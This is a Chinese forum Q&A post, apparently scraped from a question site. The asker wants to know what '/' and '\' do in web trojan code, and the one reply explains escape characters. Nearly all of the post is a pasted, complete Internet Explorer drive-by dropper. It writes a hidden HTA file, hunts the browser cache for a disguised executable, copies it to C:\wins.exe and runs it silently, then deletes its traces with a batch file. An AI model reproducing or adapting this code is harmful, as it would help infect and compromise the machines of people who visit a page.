深圳市创芯技术:请教两个符号的使用:"/"与"\"

来源:百度文库 编辑:高校问答 时间:2024/05/04 07:04:33
当然一些正常的应用我对它们还是了解的,我是学过HTML语言的,但是我看网页木马时就头大了,这两个符号用得特别多,请问他们是什么作用呢?能否互换使用?我给大家一段代码,请选择一部份帮我说明一个他俩的作用,不胜感激!

--------------------------------

document.write('<html><HEAD><SCRIPT language=JScript>window.resizeTo(0,0);window.moveTo(6666,7777);<\/SCRIPT></HE'+'AD>'+'<'+'/'+'H'+'T'+'M'+'L'+'>');try{Rfuc1k1S=new ActiveXObject("ADODB.Recordset");Rfuc1k1S.Fields.Append("love",200,3000);mike=1;Rfuc1k1S.Open();mike=1;Rfuc1k1S.AddNew();mike=1;Rfuc1k1S.Fields("love").Value="<HTML><BODY onLoad=window.moveTo(5000,5000)><HEAD><SCRIPT language=JScript>window.moveTo(6000,6000);window.resizeTo(0,0);</S\0CRIPT></HEAD>\r\n<HTA:APPLICATION ID=j3714 CAPTION=\"no\" BORDER=\"none\" HEIGHT=\"0\" SHOWINTASKBAR=\"no\" WIDTH=\"0\">\r\n<BODY scroll=\"no\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<SCRIPT LANGUAGE=\"JavaScript\">\r\nfunction tha1n1ks(b){\r\ntry{var m1y1f=new Enumerator(Ffu1c1sko.GetFolder(b).SubFolders);for (;!m1y1f.atEnd();m1y1f.moveNext()){var z0=m1y1f.item().Path+\"\\\\young[1].css\";var z1=m1y1f.item().Path+\"\\\\young[2].css\";\r\nvar f=\"C:\\\\wins.exe\";if(Ffu1c1sko.FileExists(z0)){Ffu1c1sko.CopyFile(z0,f)\r\nw1s2h.Run(f,0,false);v=1;break;}if(Ffu1c1sko.FileExists(z1)){Ffu1c1sko.CopyFile(z1,f);w1s2h.Run(f,0,false);v=1;break;}tha1n1ks(m1y1f.item());}}catch(e){}}\r\nfunction likeit(){j=1;\r\nj=1;path=\"c:\\\\wins.bat\";\r\nv=j3714.commandLine;\r\nv=v.substring(1,v.length-2);\r\nvar file11x=Ffu1c1sko.CreateTextFile(path);\r\nfile11x.Write(\'@eCho oFf\\r\\n:CDE\\r\\neRAsE \"\'+v+\'\"\\r\\nif eXiSt \"\'+v+\'\" gOto CDE\\r\\neRAse %0\');\r\nfile11x.close();\r\nw1s2h.Run(path,0,false);\r\nwindow.close();\r\n}\r\nvar v=0;\r\ntry{\r\nvar Ffu1c1sko=new ActiveXObject(\"Scripting.FileSystemObject\");\r\nvar w1s2h=new ActiveXObject(\"WScript.Shell\");\r\nvar cache=w1s2h.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\\\\Cache\");\r\n}catch(e){}\r\nfunction fucksh(){try{if(v==0){tha1n1ks(cache+'\\\\..\\\\');setTimeout(\"fucksh()\",4000);}else{likeit();}}catch(e){}}\r\nfucksh();</SCRIPT></BODY></HTML>";Rfuc1k1S.Update();}catch(e){}try{Rfuc1k1S.Save("c:\\boot.hta",0);}catch(e){}document.write('<object id="bbs1" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="shortcut"><param name=item1 value=",c:\\boot.hta"></object><OBJECT id="bbs2" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"><param name="Command" value="Close"><\/object><script>bbs1.Click();m1=6+1;m1=4;m1=8;m1=8;m1=8;m1=8;bbs2.Click();m1=m1+3;m1=8;m1=8;m1=8;m1=8;<\/script>');

\后面跟字符表示转义啊,比如\/在最后write的时候就输出/,\n表示回车,\t表示一个制表符,\\表示\

靠,着高手吧